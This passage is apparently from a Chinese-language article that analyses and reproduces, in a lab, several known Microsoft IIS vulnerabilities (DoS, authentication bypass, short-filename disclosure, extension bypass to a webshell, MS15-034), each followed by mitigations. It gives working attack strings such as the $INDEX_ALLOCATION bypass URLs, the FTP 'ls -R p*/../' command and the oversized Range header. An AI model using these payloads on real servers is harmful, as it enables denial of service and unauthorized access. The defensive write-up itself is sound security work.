Ø 漏洞分析:IIS包括一个能够提供静态和动态内容的Web服务器组件。IIS的Web组件提供Web应用程序功能。通过Web应用程序,服务器可以在后端执行脚本,并将生成的内容提供给请求客户端。客户端可以请求许多可执行资源,例如Perl脚本、Active Server Pages(ASP)或动态链接的库资源。用于提供动态动态内容的虚拟目录需要配置后台执行脚本的权限。
Microsoft Internet Information Services产品的HTTP服务器组件中存在可远程利用的拒绝服务漏洞。在特殊情况下,当多次请求动态链接的库资源时,受影响的服务可能会因此而关闭。由于服务器无法处理格式错误的URL请求,因此创建了该漏洞。恶意请求必须满足几个条件才能触发此漏洞。请求URL必须包含来自以下字符的有限集合中的字符(注意,不可见字符需要使用以下字符范围的URL编码形式):
• %3f
• ”
• *
• :
• <
• >
•字符 - 的范围
请求还必须包含波形符“~”字符,后面跟一个十进制数字。
Ø 漏洞类型:可远程利用,可触发DOS攻击
Ø 漏洞复现:
复现环境:Win XP SP3 x64专业版,默认IIS 5.1
1. 配置IIS默认wwwroot根目录下的虚拟目录_vti_bin执行权限为“脚本和可执行文件”权限;
 
 
2. 浏览器发送恶意url远程访问靶机环境,复现成功,服务器返回500错误:
  Eg:http://192.168.180.200/_vti_bin/.dll/\~0
 
 
 
 
Ø 漏洞缓解:
1. 此漏洞仅在IIS 5.1版本存在,升级IIS版本或者更新MS07-041补丁即可规避此漏洞;
2. 此漏洞成功利用的条件主要包括:要求在服务器端将请求的虚拟目录配置为“脚本和可执行文件”权限,不开启此权限的服务器不存在漏洞。
 2.2 (MS09-053)Microsoft IIS FTP服务器递归列表拒绝服务漏洞   CVE-2009-2521
      2.2.1 漏洞描述:IIS 5.0至7.0版本的FTP服务在处理递归目录列表请求时存在栈消耗漏洞。拥有对目录写访问权限的远程攻击者可以通过提交包含有通配符(如星形标识符)的请求导致拒绝服务(守护进程崩溃)。
2.2.2 漏洞分析和复现
Ø 漏洞影响版本:IIS 5.0、IIS 5.1、IIS 6.0、IIS 7.0
Ø 漏洞分析:
通过包含通配符的list(ls)-R命令在Microsoft IIS FTP服务器5.0到7.0中触发拒绝服务条件,即ls "-R p*/../"命令可导致FTP服务器拒绝服务。 此漏洞利用有三个条件:
(1)一个有效的ftp帐户,拥有只读或写入权限;
(2)“FTP发布”服务必须在启动类型中配置为“手动”模式;
(3) FTP根目录下至少有一个目录。
Ø 漏洞类型:可远程利用,可触发DOS攻击
Ø 漏洞复现:
复现环境:Win XP SP3 x64专业版,默认IIS 5.1
1. 添加FTP服务器角色,IIS信息服务管理控制台“FTP站点下”启动FTP默认站点
 
 
2. 配置ftp默认用户anonymous/anonymous,拥有读写目录权限;
3. 目录下创建一个文件夹BB,然后输入ls "-R p*/../",成功复现DOS拒绝服务,ftp连接关闭:
 
中间很多重复:
p*/../BB:
BB
 
 
FTP服务器提示“远程主机关闭连接”,FTP拒绝服务,漏洞复现成功。
Ø 漏洞缓解:
1. 此漏洞仅在IIS 5.0-7.0版本存在,升级IIS版本或者更新MS09-053补丁即可规避此漏洞;
2. 此漏洞成功利用的条件主要包括:IIS启用FTP服务且存在FTP默认站点、攻击者登陆FTP的账户有创建和读写文件夹的权限。
 3.  认证绕过漏洞3.1  IIS认证绕过和源码泄露漏洞复现
       3.1.1 漏洞描述:Microsoft IIS(Internet Information Server)是Microsoft Windows系统默认自带的Web服务器软件,其中默认包含FTP服务。Microsoft IIS中存在认证绕过漏洞和源码泄露漏洞,该漏洞源于对用户提供的输入未经正确的验证。攻击者可利用这些漏洞在服务器进程上下文中获取密码保护资源和查看源代码文件的未授权访问,且有助于进一步攻击。
 3.1.2 漏洞分析和复现
Ø 漏洞影响版本:IIS 6.0、IIS 7.5
Ø 漏洞分析:Microsoft IIS由于无法正确清理用户提供的输入,容易出现身份验证绕过漏洞和源代码泄露漏洞。主要包括以下三类绕过:
(1) 安装了PHP的Microsoft IIS 6.0身份验证绕过:
IIS / 6.0加载受保护(如:admin)目录中的PHP文件需要用户认证信息(用户名和密码访问),如果将“:: $ INDEX_ALLOCATION”后缀附加到目录名称后面,存在绕过认证并可能访问管理文件等特殊情况,导致IIS服务器重要信息泄露;
 Eg:/admin::$INDEX_ALLOCATION/index.php
(2) Microsoft IIS 7.5经典ASP身份验证绕过:
配置了经典ASP和.NET Framework 4.0的Microsoft IIS 7.5,通过将“:$ i30:$ INDEX_ALLOCATION”后缀附加到需要认证的请求目录名称后面,可以绕过经典的ASP文件访问限制;
Eg:举例:/admin:$i30:$INDEX_ALLOCATION/index.asp
(3) Microsoft IIS 7.5 .NET源代码公开和身份验证绕过:
在配置中安装了PHP的Microsoft IIS / 7.5,存在认证绕过漏洞;
Eg:http://<victimIIS75>/admin:$i30:$INDEX_ALLOCATION/admin.php
除此之外,通过将/.php附加到ASPX文件(或使用未通过请求过滤规则阻止的.NET框架的任何其他文件,如错误配置:.CS,.VB等文件)。IIS 7.5使用文件的完整源代码进行响应,并将其作为PHP代码执行。这意味着通过使用上传功能,可以(在特殊情况下)执行任意PHP代码。
Eg:  http://<victimIIS75>/Default.aspx/.php   (php任意代码执行)
Ø 漏洞类型:可远程利用,可触发认证绕过和信息泄露
Ø 漏洞复现:
复现环境:Windows 7 x64位,默认IIS 7.5
以下验证复现上述(3)的漏洞,(1)和(2)类似此处不做验证:
1. IIS网站根目录下创建admin用户目录,关闭默认用户认证,换言之,访问/admin/index.php目录下的文件需要认证信息,认证失败或者无认证信息将会返回401未授权页面;
 
 
 
 
2. 配置完成后,重启IIS服务器,浏览器远程访问此文件:http://192.168.180.207/admin/index.php,默认IIS账户访问提示401未授权;
 
3. 接下来,利用:$i30:$INDEX_ALLOCATION来绕过此限制,浏览器远程访问:
http://192.168.180.207/admin:$i30:$INDEX_ALLOCATION/index.php,成功绕过并访问到敏感信息;
 
4. 除此之外,如果目标站点限制上传和访问php文件,可以利用上传aspx(.net支持解析的文件类型)文件逃避限制,将其当做php代码执行;
Eg:网站目录下有一个index.aspx的文件,里面写有php代码,正常通过http://192.168.180.207/admin:$i30:$INDEX_ALLOCATION/index.aspx访问此文件无法执行代码,通过在末尾加上index.aspx/.php形式访问将会成功执行php代码;
 
a. 正常绕过访问index.aspx文件,页面返回乱码,未执行phpinfo代码:
 
b. 通过在末尾加上/.php,成功执行php代码:
 
Ø 漏洞缓解:
1. IIS 7.5 配置.NET Framework 2.0不受上述(2)的绕过影响;
2. 攻击者需要事先获取IIS服务器受认证保护目录;
 4.  信息泄露漏洞4.1 Microsoft IIS 短文件名泄露漏洞
        4.1.1 漏洞描述:IIS短文件名漏洞是由于HTTP请求中携带旧DOS 8.3名称约定(SFN)的代字符(~)波浪号引起的。它允许远程攻击者在Web根目录下公开文件和文件夹名称(不应该可被访问)。攻击者可以找到通常无法从外部直接访问的重要文件,并获取有关应用程序基础结构的信息。
        4.1.2 漏洞分析和复现
Ø 漏洞影响版本:IIS 5.0-10.0全系列版本
Ø 漏洞分析:Windows 支持以 8.3 格式生成与 MS-DOS 兼容的(短)文件名,以允许基于 MS-DOS 或 16 位 Windows的程序访问这些文件。基于Windows的IIS服务器默认根目录C:\inetpub\wwwroot下的网页脚本文件和目录符合一定条件时,会生成相应的短文件名。此时,攻击者利用HTTP的DEBUG、OPTIONS、GET、POST、HEAD、TRACE等方法携带波浪号,可以对IIS服务器短文件名进行暴力猜解,依据返回的页面信息和状态码来确认真实存在的文件名,从而获取服务器敏感信息,为下一步攻击做准备。
Ø 漏洞类型:可远程利用,可触发信息泄露
Ø 漏洞复现:
复现环境:Windows 7 x64位,默认IIS 7.5
1. 通过cmd下进入IIS网站根目录C:\inetpub\wwwroot,输入“dir /x”查看已存在的短文件名:
 
2. 使用公开POC或者扫描程序探测目标靶机的短文件名,成功猜解到服务器根目录短文件名称:
 
 
Ø 漏洞缓解:
1. 限制IIS服务器HTTP方法,除了必要的GET、POST方法,其他HTTP方法建议关闭,视情况开启;
2. IIS服务器文件建议使用复杂字符或者中文命名,增加后期攻击者暴力破解难度;
3. 针对已存在的IIS服务器,建议关闭NTFS 8.3文件格式的支持或者修改注册表禁用短文件名功能。
注:详细原理和解决方案请参考:https://www.freebuf.com/articles/web/172561.html
 5.  代码执行漏洞
      5.1 Microsoft IIS畸形文件扩展名绕过安全限制漏洞  CVE-2009-4444
      5.1.1 漏洞描述:IIS服务器错误的执行了带有多个扩展名的文件中所包含的ASP代码。例如malicious.asp;.jpg被执行为了ASP文件。很多文件上传程序仅检查文件扩展名的最后部分,因此这可能导致绕过保护机制向服务器上传恶意可执行文件。
      5.1.2 漏洞分析和复现
Ø 漏洞影响版本:IIS 6.0
Ø 漏洞分析:此漏洞主要原因是IIS第三方上传应用没有限制文件上传格式或者限制不够严格,只检查了文件末尾的格式,导致攻击者可以将如Asp webshell伪装成malicious.asp;.jpg文件格式上传到IIS服务器。IIS的Classic ASP功能在处理asp文件时,被此畸形文件格式的分号截断了,认为是asp文件并进行相应的解析处理。攻击者则在获取上传路径后通过远程访问执行此webshell,控制IIS服务器甚至Windows宿主机器。
Ø 漏洞类型:可远程利用,文件上传绕过可触发代码执行
Ø 漏洞复现:
复现环境:Win server 2003 Sp2 32位企业版,默认IIS 6.0
1. IIS服务器根目录下创建一个名为aspwebshell.asp;.jpg的文件,用记事本打开,放入asp webshell代码(实际利用过程中是通过第三方应用上传绕过漏洞上传此文件,并设法获取此上传路径);
 
2. 通过浏览器远程访问此文件,http://192.168.180.201/aspwebshell.asp;.jpg,成功执行asp webshell代码:
 
 
Ø 漏洞缓解:
1. 严格限制IIS第三方应用上传文件的格式;
2. 此漏洞仅影响IIS 6.0,其他版本解析asp文件不会被分号截断,可升级至无此漏洞的IIS版本。
   5.2 (MS15-034)Microsoft IIS远程代码执行漏洞复现  CVE-2015-1635 
      5.2.1 漏洞描述:Microsoft Windows是美国微软(Microsoft)公司发布的一系列操作系统。Microsoft Internet Information Services(IIS)是一套运行于Microsoft Windows中的互联网基本服务。使用Microsoft IIS 6.0以上版本的Microsoft Windows的HTTP协议堆栈(HTTP.sys)中存在远程执行代码漏洞,该漏洞源于HTTP.sys文件没有正确分析经特殊设计的HTTP请求。成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。           5.2.2 漏洞分析和复现
Ø 漏洞影响版本:IIS 7.5、IIS 8.0、IIS 8.5
Ø 漏洞分析:
    IIS进程w3wp.exe接收到HTTP请求后,将数据缓存到内核中,并整合HTTP回应头,最后由http.sys组织数据包经由网络内核组件发送出去。请求中包括Range对象的指定范围,而缓存中则包含了http文件和大小信息等。
 根据公开POC,构造包含“Range: bytes=0-18446744073709551615”的HTTP请求并发送到IIS 7.5-8.5服务器,如果IIS服务器返回“Requested Range Not Satisfiable”,则存在漏洞,如果返回“The request has an invalid header name”或者没有回应,则说明漏洞已经修补或者不存在漏洞。
Ø 漏洞类型:可远程利用,可触发代码执行
Ø 漏洞复现:
 复现环境:Win server 2008 R2 64位企业版,默认IIS 7.5
1. 开启IIS默认网站
2. 根据公开poc发送包含特殊设计的Range字段攻击靶机环境,成功检测到漏洞:
 
Ø 漏洞缓解:
1. 禁用 IIS 内核缓存,详情见微软官方公告:
https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2015/ms15-034
2. 升级IIS至IIS 10.0版本,此版本不存在此漏洞。
 三、 漏洞总结
IIS 远程漏洞主要包括缓冲区溢出、认证绕过、拒绝服务、代码执行和信息泄露漏洞,本地漏洞主要分布在信息泄露和权限提升漏洞分类,大部分漏洞利用难度较大,但是一旦成功被攻击者利用,影响的不仅仅只是IIS服务器,甚至可能是运行IIS的Windows主机。如果用户主机被利用,那么攻击者可以将此台主机当作肉鸡攻击内网中的其他主机、服务器或者网络设备等,后果不堪设想。
  如果IIS服务器的网站配置不当,攻击者可以通过IIS短文件名猜解和暴力破解用户隐私文件并进行认证绕过访问,获取用户隐私信息。此外,不合理的上传限制也会导致攻击者上传含有恶意代码或webshell并伪装成合法的文件,进而导致IIS服务器被攻陷。攻击者利用提权漏洞或者命令执行等漏洞,对IIS服务器甚至是Windows操作系统进行进一步的攻击。无论是对IIS服务器本身的服务还是该IIS服务器所处的网络环境,IIS漏洞都是一个极大的隐患,也让IIS网站管理员和不少运维人员心惊胆战。